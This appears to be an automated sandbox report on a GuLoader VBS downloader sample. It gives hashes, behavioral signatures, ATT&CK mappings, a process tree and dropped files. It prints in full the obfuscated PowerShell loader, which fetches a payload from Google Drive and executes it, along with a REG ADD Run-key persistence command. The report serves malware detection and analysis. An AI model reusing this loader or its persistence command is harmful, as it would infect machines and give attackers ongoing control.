guloader | 7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13/09/2024, 10:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs
Size

7KB
MD5

cc6e41e0786764096a50057a3743e7c6
SHA1

2493a1410d91a8084249ef9f0b3e7aa885ddef5d
SHA256

7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d
SHA512

5bfe75eb2661459a1073348cfadb64ced142baae9ff54fcd7a8733ae7ffc750f9ab41f2e1415ed275c7ec9f33257a7201bf0e5881ff0d26c2eac644c04aee38c
SSDEEP

96:lmXU2FvaJR+t7tVQm+83tkD3J8j0dEvOItsLQWSK+PtevdOYPmCVUbtCpgjPVHQv:lmk2VaJeXj0exCnItmd/Pml9jPp4jQYB

Score

10^/10

guloader discovery downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2904	powershell.exe
7	2904	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\\Hyperaktuelles\\').Midwintry;%Heliometry% ($Rrligst138)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
676	wab.exe
676	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2784	powershell.exe
676	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2784 set thread context of 676	2784	powershell.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1428	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2904	powershell.exe
2784	powershell.exe
2784	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2904	2384	WScript.exe	31
PID 2384 wrote to memory of 2904	2384	WScript.exe	31
PID 2384 wrote to memory of 2904	2384	WScript.exe	31
PID 2904 wrote to memory of 2960	2904	powershell.exe	33
PID 2904 wrote to memory of 2960	2904	powershell.exe	33
PID 2904 wrote to memory of 2960	2904	powershell.exe	33
PID 2904 wrote to memory of 2784	2904	powershell.exe	34
PID 2904 wrote to memory of 2784	2904	powershell.exe	34
PID 2904 wrote to memory of 2784	2904	powershell.exe	34
PID 2904 wrote to memory of 2784	2904	powershell.exe	34
PID 2784 wrote to memory of 2632	2784	powershell.exe	35
PID 2784 wrote to memory of 2632	2784	powershell.exe	35
PID 2784 wrote to memory of 2632	2784	powershell.exe	35
PID 2784 wrote to memory of 2632	2784	powershell.exe	35
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 2784 wrote to memory of 676	2784	powershell.exe	37
PID 676 wrote to memory of 536	676	wab.exe	38
PID 676 wrote to memory of 536	676	wab.exe	38
PID 676 wrote to memory of 536	676	wab.exe	38
PID 676 wrote to memory of 536	676	wab.exe	38
PID 536 wrote to memory of 1428	536	cmd.exe	40
PID 536 wrote to memory of 1428	536	cmd.exe	40
PID 536 wrote to memory of 1428	536	cmd.exe	40
PID 536 wrote to memory of 1428	536	cmd.exe	40

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
    3⤵
    PID:2960
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2632
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:676
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:536
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I0IUBBLWW2EGN1MU7BQM.temp

Filesize
7KB

MD5
c4341d3d5d8e538a66c99eaeb7bd2a6a

SHA1
2826f4b0ae011a9fa923452bf786ee5c4dc4ae70

SHA256
d24e5ccddf0cb238a50ef445d15cd9d1781d90ecb6af32958f8c5cdeae38db89

SHA512
afe8bd4b28ad2bf0752203f84b4a41ef93140ff1601f30408c80e0b62c3c0e2731f114e8c7154e0879f9ed5cfb88a54fa38278afd0bd0c1b6a64a5e2b6d487fa

Download Submit
C:\Users\Admin\AppData\Roaming\Theis.Wee

Filesize
440KB

MD5
101f0456c78a51dc6621f338fa0590e6

SHA1
744017fe918a845dfc161516dab0f86579912507

SHA256
3663b6fbf739bde311b85220fc41f266ec6f90cc6445c3ce77f3db94972aeac3

SHA512
f56f372d17ee4843b3c68831d66549ccd9d72a4effebac7c53f4dda841d5454f4599f736db890f055604e2b179eab4c43836162567bdd1e63a598a807386a5f0

Download Submit
memory/676-40-0x0000000001340000-0x00000000039AF000-memory.dmp

Filesize
38.4MB

Download
memory/676-42-0x00000000002D0000-0x0000000001332000-memory.dmp

Filesize
16.4MB

Download
memory/676-39-0x00000000002D0000-0x0000000001332000-memory.dmp

Filesize
16.4MB

Download
memory/2784-18-0x0000000006600000-0x0000000008C6F000-memory.dmp

Filesize
38.4MB

Download
memory/2904-8-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2904-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2904-13-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2904-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2904-9-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2904-4-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2904-7-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2904-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2904-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2904-43-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download